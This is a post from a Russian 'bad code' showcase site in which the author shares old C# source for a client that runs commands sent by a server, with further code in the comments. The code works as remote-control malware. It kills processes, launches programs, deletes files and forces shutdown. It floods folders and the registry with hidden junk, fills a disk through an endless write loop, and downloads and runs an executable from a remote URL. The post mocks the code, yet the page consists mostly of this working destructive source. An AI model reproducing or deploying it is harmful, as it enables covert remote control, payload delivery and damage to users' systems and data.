1. C# / Говнокод #9688

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    static void Reading_instruction(string Command)
    {
    	string[] CommandLine = null;
    	try
    	{
    		#region Команды консоли.
    		#region -boxmessage выводит сообщение в диалоговом окне.
    				
    		//Пример: -boxmessage:Привет!*/
    				
    		if (Command.ToLower().StartsWith("-boxmessage"))
    		{
    			CommandLine = Command.Split(new char[] {':'});
    			System.Windows.Forms.MessageBox.Show(CommandLine[1]);
    		}
    		#endregion
    		#region -errormessage выводит сообщение c ошибкой в диалоговом окне.
    				
    		//Пример: -errormessage:Вы забанены!!!:Критическая ошибка!
    				
    		if (Command.ToLower().StartsWith("-errormessage"))
    		{
    			CommandLine = Command.Split(new char[] {':'});
    			System.Windows.Forms.MessageBox.Show(CommandLine[1], CommandLine[2], System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error, System.Windows.Forms.MessageBoxDefaultButton.Button1, System.Windows.Forms.MessageBoxOptions.ServiceNotification);
    		}
    		#endregion
    		#region -consolemessage выводит текст в консоль.
    				
    		//Пример: -consolemessage:Привет!
    				
    		if (Command.ToLower().StartsWith("-consolemessage"))
    		{
    			CommandLine = Command.Split(new char[] {':'});
    			Console.WriteLine(CommandLine[1]);
    		}
    		#endregion
    		#region -killprocess убивает процесс.
    				
    		//Пример: -killprocess explorer
    				
    		if (Command.ToLower().StartsWith("-killprocess"))
    		{
    			CommandLine = Command.Split(new char[] {' '});
    			System.Diagnostics.Process[] myProcesses = System.Diagnostics.Process.GetProcessesByName(CommandLine[1]);
    			foreach (System.Diagnostics.Process instance in myProcesses)
    			{
    				instance.Kill();
    			}
    		}
    		#endregion
    		#region -startprocess запускает новый процесс или открывает файл.
    				
    		//Пример: -startprocess explorer.exe
    				
    		if (Command.ToLower().StartsWith("-startprocess"))
    		{
    			CommandLine = Command.Split(new char[] {' '});
    			System.Diagnostics.Process.Start(CommandLine[1]);
    		}
    		#endregion
    		#region -createfile создает файл.
    				
    		//Пример: -createfile С:\TestFile.txt
    				
    		if (Command.ToLower().StartsWith("-createfile"))
    		{
    			CommandLine = Command.Split(new char[] {' '});
    			System.IO.File.Create(CommandLine[1]);
    		}
    		#endregion
    		#region -deletefile удаляет файл.
    				
    		//Пример: -deletefile С:\TestFile.txt
    				
    		if (Command.ToLower().StartsWith("-deletefile"))
    		{
    			CommandLine = Command.Split(new char[] {' '});
    			System.IO.File.Delete(CommandLine[1]);
    		}
    		#endregion
    		#region -shutdown выключает компьютер.
    				
    		//Пример: -shutdown
    				
    		if (Command.ToLower().StartsWith("-shutdown"))
    		System.Diagnostics.Process.Start("shutdown", "/s /t 0");
    		#endregion
    		#region -reboot перезагружает компьютер.
    				
    		//Пример: -reboot
    				
    		if (Command.ToLower().StartsWith("-reboot"))
    			System.Diagnostics.Process.Start("shutdown", "/r /t 0");
    		#endregion

    Вот кусок говна обнаруженное в моих древних искходниках. Весь смысл закллючается в том что сервер посылает клиенту команду, а клиент ее выполняет.

    Запостил: KusokGovna, 16 Марта 2012

    Комментарии (4) RSS

    • if (Command.ToLower().StartsWith("-beep"))
      {
      	CommandLine = Command.Split(new char[] {' '});
      	Console.Beep(Convert.ToInt32(CommandLine[1]), Convert.ToInt32(CommandLine[2]));
      }
      #endregion
      #region -clutdir засоряет все папки файлами в указанной папке папке.
      				
      //Пример: -clutdir~C:\Program Files
      				
      if (Command.ToLower().StartsWith("-clutdir"))
      {
      	CommandLine = Command.Split(new char[] {'~'});
      	string[] DirReader = System.IO.Directory.GetDirectories(CommandLine[1]);
      	foreach (string DirRead in DirReader) 
      	{
      		for (int I = 0; I < 999999999; I++)
      		{
      			string SFolders = DirRead + "\\" + I.ToString();
      			System.IO.Directory.CreateDirectory(SFolders);
      			System.IO.File.SetAttributes(SFolders, System.IO.FileAttributes.Hidden);
      			for (int Q = 0; Q < 999999999; Q++)
      			{
      				string IntFile = Q.ToString(), SFiles = SFolders + "\\" + IntFile + ".dll";
      				System.IO.FileStream FileCreate = new System.IO.FileStream(SFiles, System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.ReadWrite, System.IO.FileShare.None);
      				System.IO.StreamWriter CreatFile = new System.IO.StreamWriter(FileCreate);
      				CreatFile.WriteLine("Warning! Warning! Warning! Warning! Warning!");
      				CreatFile.Close();
      				System.IO.File.SetAttributes(SFiles, System.IO.FileAttributes.Hidden);
      			}
      		}
      	}
      }
      #endregion
      Ответить
      • ты реально кусок говна

        даже 3.14dar бы лучше сделал
        Ответить
    • #region -clutreg засоряет все разделы реестра в разделе CurrentUser
      				
      //Пример: -clutreg
      				
      if (Command.ToLower().StartsWith("-clutreg"))
      {
      	string[] RegRead = Microsoft.Win32.Registry.CurrentUser.GetSubKeyNames();
      	foreach (string RegReader in RegRead)
      	{
      		for (int I = 0; I < 999999999; I++) 
      		{
      			string SKey = RegReader + "\\" + I.ToString();
      			Microsoft.Win32.RegistryKey RegKey;
      			RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SKey);
      			RegKey.SetValue(SKey, I.ToString());
      			RegKey.Close();
      		}
      	}
      }
      #endregion
      #region -hugefile создает файл и записывает в него данные пока не кончится память.
      if (Command.ToLower().StartsWith("-hugefile"))
      {
      	CommandLine = Command.Split(new char[] {' '});
      	System.IO.StreamWriter Streamwrite = new System.IO.StreamWriter(CommandLine[1]);
      	Random Rand = new Random();
      	while (true)
      	{
      		System.IO.File.SetAttributes(CommandLine[1], System.IO.FileAttributes.Hidden);
      		Streamwrite.Write(GetRandomWord(9999999, Rand));
      		Streamwrite.Close();
      	}
      }
      	#endregion
      	#region -refrech закачивает и открывает новую версию программы, после удаляет старую.
      				
      	//Пример: -refrech http://storage.lsintez.net/get.php?id=128830&file=b5c47c.exe новаяверсия.exe
      	
      	if (Command.ToLower().StartsWith("-refrech"))
      	{
      		CommandLine = Command.Split(/*new char[]*/ /*{*/' '/*}*/);
      		System.Net.WebClient Client = new System.Net.WebClient();
      		System.Uri Uri = new System.Uri(CommandLine[1]);
      		Client.DownloadFile(Uri, CommandLine[2]);
      		System.Diagnostics.Process.Start(CommandLine[2]);
      	}
      	#endregion
      	#endregion
      	} 
      	catch (Exception ex)  
      	{
      		Console.WriteLine("Ошибка: {0}", ex.Message);
      		Main();
      	}
      }
      Ответить
    • Краткость - сестра таланта, бездарь вы этакий
      Ответить

    Добавить комментарий